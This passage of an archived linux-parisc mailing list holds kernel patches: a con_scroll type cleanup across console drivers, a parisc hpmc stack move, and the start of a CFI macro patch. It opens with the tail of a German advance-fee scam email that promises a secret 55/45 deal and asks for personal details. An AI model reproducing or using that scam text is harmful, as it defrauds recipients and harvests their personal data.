Der Deal wird in diesem Verhältnis aufgeteilt: 55% für mich und 45% zu Ihnen. Ich habe in meinem Besitz alle notwendigen und wichtigen Dokumente, die in diesem Geschäft verwendet werden kann. Ich brauche Ihre ehrliche Zusammenarbeit, Verschwiegenheit und Vertrauen, damit wir sehen diese Verhandlung durch. Ich garantiere Ihnen 100% Erfolg in diesem Geschäft, wenden Sie sich bitte sicher sein, dass Sie das Angebot unter einer legitimen Anordnung, die Sie aus der Verletzung des Gesetzes sowohl hier als auch in Großbritannien und in Ihrem Land zu schützen wird ausgeführt.

Wenn Sie in der Lage, dem Umgang mit diesem Angebot sind, bitte zurück zu mir mit folgenden Angaben, damit wir fortfahren:

1. Ihr vollständiger Name:
2. Telefonnummer:
3. Kontakt-Adresse:
4. Alter:
5. Geschlecht:
6. Beruf:
7. Ihre Nationalität:


Nachdem durch eine methodische Suche gegangen, entschied ich mich, Sie zu kontaktieren hoffen, dass Sie diesen Vorschlag interessant, Bitte auf Ihrer Bestätigung dieser Nachricht und geben Sie Ihr Interesse, ich will dich mit mehr Informationen liefern zu finden.

Ihre Zustimmung zu dieser E-Mail und Business-Vorschlag wird sehr geschätzt werden.

Freundliche Grüße,
Chris Williams
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby-AlSwsSmVLrQ@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.serial,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/7] tty: vt, cleanup and document con_scroll
Date: Mon,  3 Oct 2016 11:18:33 +0200
Lines: 361
Approved: news@gmane.org
Message-ID: <20161003091839.29379-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1475486413 18858 195.159.176.226 (3 Oct 2016 09:20:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 3 Oct 2016 09:20:13 +0000 (UTC)
Cc: linux-serial-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jiri Slaby <jslaby-AlSwsSmVLrQ@public.gmane.org>,
        Thomas Winischhofer <thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org>,
        Tomi Valkeinen <tomi.valkeinen-l0cyMroinI0@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Oct 03 11:20:07 2016
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1bqzPj-0003EW-SX
	for glug-linux-usb@m.gmane.org; Mon, 03 Oct 2016 11:20:00 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S1752903AbcJCJTu (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
        Mon, 3 Oct 2016 05:19:50 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:34590 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751542AbcJCJSo (ORCPT <rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Mon, 3 Oct 2016 05:18:44 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 5C082ABFC;
        Mon,  3 Oct 2016 09:18:41 +0000 (UTC)
X-Mailer: git-send-email 2.10.0
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:148702 gmane.linux.serial:24175 gmane.linux.kernel:2320366 gmane.linux.ports.parisc:26971
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/148702>

Scrolling helpers scrup and scrdown both accept 'top' and 'bottom' as
unsigned int. Number of lines 'nr' is accepted as int, but all callers
pass down unsigned too. So change the type of 'nr' to unsigned too.
Now, promote unsigned int from the helpers up to the con_scroll
hook which actually accepted all those as signed int.

Next, the 'dir' parameter can have only two values and we define
constants for that: SM_UP and SM_DOWN. Switch them to enum and do
proper type checking on 'dir' too.

Finally, document the behaviour of the hook.

Signed-off-by: Jiri Slaby <jslaby-AlSwsSmVLrQ@public.gmane.org>
Cc: Thomas Winischhofer <thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org>
Cc: Tomi Valkeinen <tomi.valkeinen-l0cyMroinI0@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: <linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Cc: <linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Cc: <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
---
 drivers/tty/vt/vt.c                     |  6 ++++--
 drivers/usb/misc/sisusbvga/sisusb_con.c | 18 ++++++++++--------
 drivers/video/console/fbcon.c           | 18 ++++++++----------
 drivers/video/console/mdacon.c          |  7 ++++---
 drivers/video/console/newport_con.c     |  8 ++++----
 drivers/video/console/sticon.c          |  7 ++++---
 drivers/video/console/vgacon.c          | 12 +++++-------
 include/linux/console.h                 | 16 +++++++++++-----
 8 files changed, 50 insertions(+), 42 deletions(-)

diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index e2cad4c2ba5a..a0ccb3950a50 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -315,7 +315,8 @@ void schedule_console_callback(void)
 	schedule_work(&console_work);
 }
 
-static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrup(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *d, *s;
 
@@ -332,7 +333,8 @@ static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
 		    vc->vc_size_row * nr);
 }
 
-static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *s;
 	unsigned int step;
diff --git a/drivers/usb/misc/sisusbvga/sisusb_con.c b/drivers/usb/misc/sisusbvga/sisusb_con.c
index 460cebf322e3..6331965daa0b 100644
--- a/drivers/usb/misc/sisusbvga/sisusb_con.c
+++ b/drivers/usb/misc/sisusbvga/sisusb_con.c
@@ -808,9 +808,10 @@ sisusbcon_cursor(struct vc_data *c, int mode)
 	mutex_unlock(&sisusb->lock);
 }
 
-static int
+static bool
 sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
-					int t, int b, int dir, int lines)
+		unsigned int t, unsigned int b, enum con_scroll dir,
+		unsigned int lines)
 {
 	int cols = sisusb->sisusb_num_columns;
 	int length = ((b - t) * cols) * 2;
@@ -852,8 +853,9 @@ sisusbcon_scroll_area(struct vc_data *c, struct sisusb_usb_data *sisusb,
 }
 
 /* Interface routine */
-static int
-sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool
+sisusbcon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	struct sisusb_usb_data *sisusb;
 	u16 eattr = c->vc_video_erase_char;
@@ -870,17 +872,17 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 	 */
 
 	if (!lines)
-		return 1;
+		return true;
 
 	sisusb = sisusb_get_sisusb_lock_and_check(c->vc_num);
 	if (!sisusb)
-		return 0;
+		return false;
 
 	/* sisusb->lock is down */
 
 	if (sisusb_is_inactive(c, sisusb)) {
 		mutex_unlock(&sisusb->lock);
-		return 0;
+		return false;
 	}
 
 	/* Special case */
@@ -971,7 +973,7 @@ sisusbcon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 
 	mutex_unlock(&sisusb->lock);
 
-	return 1;
+	return true;
 }
 
 /* Interface routine */
diff --git a/drivers/video/console/fbcon.c b/drivers/video/console/fbcon.c
index b87f5cfdaea5..a44f5627b82a 100644
--- a/drivers/video/console/fbcon.c
+++ b/drivers/video/console/fbcon.c
@@ -164,8 +164,6 @@ static void fbcon_putcs(struct vc_data *vc, const unsigned short *s,
 			int count, int ypos, int xpos);
 static void fbcon_clear_margins(struct vc_data *vc, int bottom_only);
 static void fbcon_cursor(struct vc_data *vc, int mode);
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count);
 static void fbcon_bmove(struct vc_data *vc, int sy, int sx, int dy, int dx,
 			int height, int width);
 static int fbcon_switch(struct vc_data *vc);
@@ -1795,15 +1793,15 @@ static inline void fbcon_softback_note(struct vc_data *vc, int t,
 	softback_curr = softback_in;
 }
 
-static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
-			int count)
+static bool fbcon_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int count)
 {
 	struct fb_info *info = registered_fb[con2fb_map[vc->vc_num]];
 	struct display *p = &fb_display[vc->vc_num];
 	int scroll_partial = info->flags & FBINFO_PARTIAL_PAN_OK;
 
 	if (fbcon_is_inactive(vc, info))
-		return -EINVAL;
+		return true;
 
 	fbcon_cursor(vc, CM_ERASE);
 
@@ -1831,7 +1829,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1903,7 +1901,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							(b - count)),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 		break;
 
@@ -1922,7 +1920,7 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 			break;
 
 		case SCROLL_WRAP_MOVE:
@@ -1992,10 +1990,10 @@ static int fbcon_scroll(struct vc_data *vc, int t, int b, int dir,
 							t),
 				    vc->vc_video_erase_char,
 				    vc->vc_size_row * count);
-			return 1;
+			return true;
 		}
 	}
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/mdacon.c b/drivers/video/console/mdacon.c
index 24fe55134eb5..d0d427a2f1a3 100644
--- a/drivers/video/console/mdacon.c
+++ b/drivers/video/console/mdacon.c
@@ -501,12 +501,13 @@ static void mdacon_cursor(struct vc_data *c, int mode)
 	}
 }
 
-static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
+static bool mdacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	u16 eattr = mda_convert_attr(c->vc_video_erase_char);
 
 	if (!lines)
-		return 0;
+		return false;
 
 	if (lines > c->vc_rows)   /* maximum realistic size */
 		lines = c->vc_rows;
@@ -527,7 +528,7 @@ static int mdacon_scroll(struct vc_data *c, int t, int b, int dir, int lines)
 		break;
 	}
 
-	return 0;
+	return false;
 }
 
 
diff --git a/drivers/video/console/newport_con.c b/drivers/video/console/newport_con.c
index e3b9521e4ec3..1e11614322fe 100644
--- a/drivers/video/console/newport_con.c
+++ b/drivers/video/console/newport_con.c
@@ -574,8 +574,8 @@ static int newport_font_set(struct vc_data *vc, struct console_font *font, unsig
 	return newport_set_font(vc->vc_num, font);
 }
 
-static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
-			  int lines)
+static bool newport_scroll(struct vc_data *vc, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	int count, x, y;
 	unsigned short *s, *d;
@@ -595,7 +595,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 					    (vc->vc_color & 0xf0) >> 4);
 		}
 		npregs->cset.topscan = (topscan - 1) & 0x3ff;
-		return 0;
+		return false;
 	}
 
 	count = (b - t - lines) * vc->vc_cols;
@@ -670,7 +670,7 @@ static int newport_scroll(struct vc_data *vc, int t, int b, int dir,
 			}
 		}
 	}
-	return 1;
+	return true;
 }
 
 static int newport_dummy(struct vc_data *c)
diff --git a/drivers/video/console/sticon.c b/drivers/video/console/sticon.c
index 3a10ac19598f..79c9bd8d3025 100644
--- a/drivers/video/console/sticon.c
+++ b/drivers/video/console/sticon.c
@@ -153,12 +153,13 @@ static void sticon_cursor(struct vc_data *conp, int mode)
     }
 }
 
-static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
+static bool sticon_scroll(struct vc_data *conp, unsigned int t,
+		unsigned int b, enum con_scroll dir, unsigned int count)
 {
     struct sti_struct *sti = sticon_sti;
 
     if (vga_is_gfx)
-        return 0;
+        return false;
 
     sticon_cursor(conp, CM_ERASE);
 
@@ -174,7 +175,7 @@ static int sticon_scroll(struct vc_data *conp, int t, int b, int dir, int count)
 	break;
     }
 
-    return 0;
+    return false;
 }
 
 static void sticon_init(struct vc_data *c, int init)
diff --git a/drivers/video/console/vgacon.c b/drivers/video/console/vgacon.c
index 11576611a974..4c54a873452e 100644
--- a/drivers/video/console/vgacon.c
+++ b/drivers/video/console/vgacon.c
@@ -83,8 +83,6 @@ static int vgacon_blank(struct vc_data *c, int blank, int mode_switch);
 static void vgacon_scrolldelta(struct vc_data *c, int lines);
 static int vgacon_set_origin(struct vc_data *c);
 static void vgacon_save_screen(struct vc_data *c);
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines);
 static void vgacon_invert_region(struct vc_data *c, u16 * p, int count);
 static struct uni_pagedir *vgacon_uni_pagedir;
 static int vgacon_refcount;
@@ -1350,17 +1348,17 @@ static void vgacon_save_screen(struct vc_data *c)
 			    c->vc_screenbuf_size > vga_vram_size ? vga_vram_size : c->vc_screenbuf_size);
 }
 
-static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
-			 int lines)
+static bool vgacon_scroll(struct vc_data *c, unsigned int t, unsigned int b,
+		enum con_scroll dir, unsigned int lines)
 {
 	unsigned long oldo;
 	unsigned int delta;
 
 	if (t || b != c->vc_rows || vga_is_gfx || c->vc_mode != KD_TEXT)
-		return 0;
+		return false;
 
 	if (!vga_hardscroll_enabled || lines >= c->vc_rows / 2)
-		return 0;
+		return false;
 
 	vgacon_restore_screen(c);
 	oldo = c->vc_origin;
@@ -1396,7 +1394,7 @@ static int vgacon_scroll(struct vc_data *c, int t, int b, int dir,
 	c->vc_visible_origin = c->vc_origin;
 	vga_set_mem_top(c);
 	c->vc_pos = (c->vc_pos - oldo) + c->vc_origin;
-	return 1;
+	return true;
 }
 
 
diff --git a/include/linux/console.h b/include/linux/console.h
index 3672809234a7..508b012bd5bd 100644
--- a/include/linux/console.h
+++ b/include/linux/console.h
@@ -28,9 +28,17 @@ struct tty_struct;
 #define VT100ID "\033[?1;2c"
 #define VT102ID "\033[?6c"
 
+enum con_scroll {
+	SM_UP,
+	SM_DOWN,
+};
+
 /**
  * struct consw - callbacks for consoles
  *
+ * @con_scroll: move lines from @top to @bottom in direction @dir by @lines.
+ *		Return true if no generic handling should be done.
+ *		Invoked by csi_M and printing to the console.
  * @con_set_palette: sets the palette of the console to @table (optional)
  * @con_scrolldelta: the contents of the console should be scrolled by @lines.
  *		     Invoked by user. (optional)
@@ -44,7 +52,9 @@ struct consw {
 	void	(*con_putc)(struct vc_data *, int, int, int);
 	void	(*con_putcs)(struct vc_data *, const unsigned short *, int, int, int);
 	void	(*con_cursor)(struct vc_data *, int);
-	int	(*con_scroll)(struct vc_data *, int, int, int, int);
+	bool	(*con_scroll)(struct vc_data *, unsigned int top,
+			unsigned int bottom, enum con_scroll dir,
+			unsigned int lines);
 	int	(*con_switch)(struct vc_data *);
 	int	(*con_blank)(struct vc_data *, int, int);
 	int	(*con_font_set)(struct vc_data *, struct console_font *, unsigned);
@@ -99,10 +109,6 @@ static inline int con_debug_leave(void)
 }
 #endif
 
-/* scroll */
-#define SM_UP       (1)
-#define SM_DOWN     (2)

From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Move hpmc stack into page aligned bss section
Date: Wed, 5 Oct 2016 22:05:39 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <20161005200539.GA2983@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475697970 16990 195.159.176.226 (5 Oct 2016 20:06:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Oct 2016 20:06:10 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 05 22:06:06 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1brsRr-0001zs-5k
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Oct 2016 22:05:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754717AbcJEUFw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Oct 2016 16:05:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64289 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754590AbcJEUFw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Oct 2016 16:05:52 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MbaS9-1bYpUZ3Y3R-00J68v; Wed, 05 Oct 2016 22:05:43
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:lhOHiUEUhDlc1dL35/DodVfsLSFdIQgJtBWho5ZYBWrAOI38AWO
 7P4dfo+ktQ0756BHN8C7JooIhPY0HsZPsXHxr1rlI4DvgBpjSeGcaqn1Igs4wYkvxp/cXu1
 PAPGjENRPshmwabMWBBilq/l74TuRTUvyKKG734CDRy0m2H1ThA4PyB30SW7qwlvdaA/pk/
 JdhIVt1HOUkjP2x1ABXYw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gtAtq9HhpyY=:LfrTpBDzAvUwIjdPLG2ISV
 uSF3ggofAA9iwThZTgu5+tkjyI4DVTLq4yPtUCmLdVdGAYrMtbOb9rYqjKv6zWntOuid4o6Vq
 Q+iLI0XkNy2wf40udB7TlQPFgWxtPf1rFWIBo3iXE1aOWGh9w5skTS9dStCK7WC3/aXMEn9HI
 l24dn+Rh97cWMqghXqL75gnrsGbSLm1tASIN7tAnFTKGHVv9D15IBzry/Bx8teC8EQqmfWQYU
 Av+cf1FGi4pkl1JE4ZIIaYJVLP7If8ulTRdzA3KwR8g4I7/tB9df+py3jZdImaB4SxPHZ/cLG
 FQIhlhO4DAkVEnDR2eo91B3bcDNZiXn5Gljh3EyU5PDzgATbcwXW7bhkFnENPR4N2vXlBRj33
 lbK1d1XXuPhK0387BWMilHe6zjxohZtsOMPJdM5mxbGwers2/rAQ4WNNxc3H8locsCwlX4MBC
 i4ed3nxF8Kot8QFETicqz94I+YYAiN84aWbekv4ISeWbzsf4mnCEw0XO8CbKya/Ao5WliHWRu
 ni080zW61LTPnud40WMPjSIigqVOLm4ULuUu5OBA596BZPAMsiNj8ZWqRvnvlyKv5gfkeglzJ
 XbVOgEDm6CxL+SKyi/wHwWmK3beVdzpeCTIbGvDhzCrz27VF2KawzFdv2O7mL+6sMZUkdg2Ff
 +4PlizZ6XissNNsXGNG61Qr/xL5OESsF/k9ydLNLvzZv//yEJmODCUXLrfco9BlrDPcczFjsB
 O6wcinov5N6oMVpnBoIqH21Swxl6LeEE9stHWKw4sbTJrZ88xvQw/rIkOsc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26972>

Do not reserve space in data section for hpmc stack, instead move it
into the page aligned bss section.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hpmc.S b/arch/parisc/kernel/hpmc.S
index e158b6f..1bd0e09 100644
--- a/arch/parisc/kernel/hpmc.S
+++ b/arch/parisc/kernel/hpmc.S
@@ -41,12 +41,12 @@
  */
 
 	.level		1.1
-	.data
 
 #include <asm/assembly.h>
 #include <asm/pdc.h>
 
 #include <linux/linkage.h>
+#include <linux/init.h>
 
 	/*
 	 * stack for os_hpmc, the HPMC handler.
@@ -55,6 +55,7 @@
 	 * IODC requires 7K byte stack.  That leaves 1K byte for os_hpmc.
 	 */
 
+	__PAGE_ALIGNED_BSS
 	.align 4096
 hpmc_stack:
 	.block 16384
@@ -65,6 +66,7 @@ hpmc_stack:
 hpmc_iodc_buf:
 	.block HPMC_IODC_BUF_SIZE
 
+	.section .bss
 	.align 8
 hpmc_raddr:
 	.block 128
@@ -297,9 +299,9 @@ os_hpmc_6:
 	nop
 ENDPROC(os_hpmc)
 .os_hpmc_end:
-	nop
-.data
-.align 4
+
+
+	__INITRODATA
 	.export os_hpmc_size
 os_hpmc_size:
 	.word .os_hpmc_end-.os_hpmc
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add cfi_startproc and cfi_endproc to assembly code
Date: Wed, 5 Oct 2016 22:28:46 +0200
Lines: 693
Approved: news@gmane.org
Message-ID: <20161005202846.GA4117@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1475699346 5817 195.159.176.226 (5 Oct 2016 20:29:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 5 Oct 2016 20:29:06 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 05 22:28:59 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1brsoD-0000XL-0J
	for glpp-linux-parisc@m.gmane.org; Wed, 05 Oct 2016 22:28:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754388AbcJEU26 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 5 Oct 2016 16:28:58 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52546 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752784AbcJEU25 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 5 Oct 2016 16:28:57 -0400
Original-Received: from p100.box ([92.203.45.129]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LgZRV-1b4Ej73orl-00nyyC; Wed, 05 Oct 2016 22:28:49
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:03c/bW0DIZJudITWCFYodZ1DBiMJkblLvJImN413oE2gSaxA+eE
 a0UShuPvFvmg+z9MqXtQrXiAGnmCDgPnQYX6hW2Gz3Q4rf3PYPB6AZ+8xxRJRJk8Al+IR+0
 IlelHlM2Y+wm2izGWQlHagmATKEOxQ+H3BNdb9lJ2ZFZFfDGMS1AcR3QkKyJjM4frc6wS0R
 vttIv2/A0EfKIkZ/go48w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:07OV0/tIgsU=:zeCdsCzs8Onuno6k32RKYj
 /5GrJZONLQIXB8wydZT0fYwEfEbbEwgIp7k1vDC33Q11BaZ1u+XykFjewQLtOg7IsIptZ5bI6
 EUT+hiOSWYDFOjkSt7SeKqDZKk+eB8TN/J4sBoGmS18L8euSlCn6llEeICcEJv4DPyV3ruOnN
 WxiyOvJ2mj67irzyFc3BR5Hqb/6m8DCojA0OKhCVVEUWpXfYsc7j7MNIVSuPRubtnaNSVrwet
 rh/WHk1SiBaC+/vTBYgCrVV2t5oRwDwd1vHH7zLCTdUXDQdL4udE0zn6/t33D2IB4yyPk2EAW
 Z5vv2+tYbdD4k4VbVjIc8a4W8NfTbuLUZX/0HYHgLEOKhV8LvlCdFdoZSiLq9bdjJxERO7nZv
 Ir1zIQeEZBXPB1D/FV3Uv7gNASAynvBavboGbWkbTAcSrwC3oERPKpKl+7Fnf/mMZR+fqpRlu
 J6Wf7p7Z3c5cUWVT2guiTKSx2up4B6jmwr+Wye7Eoc6OaRc2lqRuyfypR9Gqwk2okohTUnJiS
 mL2XcYda8ZDbxD4SMYtOreWLH/OTOM6dlG8l3hd2qEXWejthtJihdxWswB3pgZinmz6Ft2YUY
 K5dM+7z8tFBMlb97bC4VwFe2WHArzJCYG+CKe09c0PKg7kOQEpVlJ0Ns4HCtsYhvSvcWzQwjl
 RZSfKCK3jkMqNynD7XFyj7qvmnG8XQ9O8YW4vKty+crFNuNMYLfOiOJgFXJLw3FfL1feNpgam
 QbzjiOmwzS6tS7MkfPRUH/XLtr3IeHUGhHzyQ4hKHvHd38IHWIekvwKRPfI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26973
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26973>

Add ENTRY_CFI() and ENDPROC_CFI() macros for dwarf debug info and
convert assembly users to new macros.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/linkage.h b/arch/parisc/include/asm/linkage.h
index 0b19a72..67e6b43 100644
--- a/arch/parisc/include/asm/linkage.h
+++ b/arch/parisc/include/asm/linkage.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_PARISC_LINKAGE_H
 #define __ASM_PARISC_LINKAGE_H
 
+#include <asm/dwarf.h>
+
 #ifndef __ALIGN
 #define __ALIGN         .align 4
 #define __ALIGN_STR     ".align 4"
@@ -10,6 +12,8 @@
  * In parisc assembly a semicolon marks a comment while a
  * exclamation mark is used to separate independent lines.
  */
+#define ASM_NL	!
+
 #ifdef __ASSEMBLY__
 
 #define ENTRY(name) \
@@ -26,6 +30,14 @@ name:
 	END(name)
 #endif
 
+#define ENTRY_CFI(name) \
+	ENTRY(name)	ASM_NL\
+	CFI_STARTPROC
+
+#define ENDPROC_CFI(name) \
+	ENDPROC(name)	ASM_NL\
+	CFI_ENDPROC
+
 #endif /* __ASSEMBLY__ */
 
 #endif  /* __ASM_PARISC_LINKAGE_H */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index baa3d9d..4fcff2d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -766,7 +766,7 @@ ENTRY(end_fault_vector)
 	 * copy_thread moved args into task save area.
 	 */
 
-ENTRY(ret_from_kernel_thread)
+ENTRY_CFI(ret_from_kernel_thread)
 
 	/* Call schedule_tail first though */
 	BL	schedule_tail, %r2
@@ -782,7 +782,7 @@ ENTRY(ret_from_kernel_thread)
 	copy	%r31, %r2
 	b	finish_child_return
 	nop
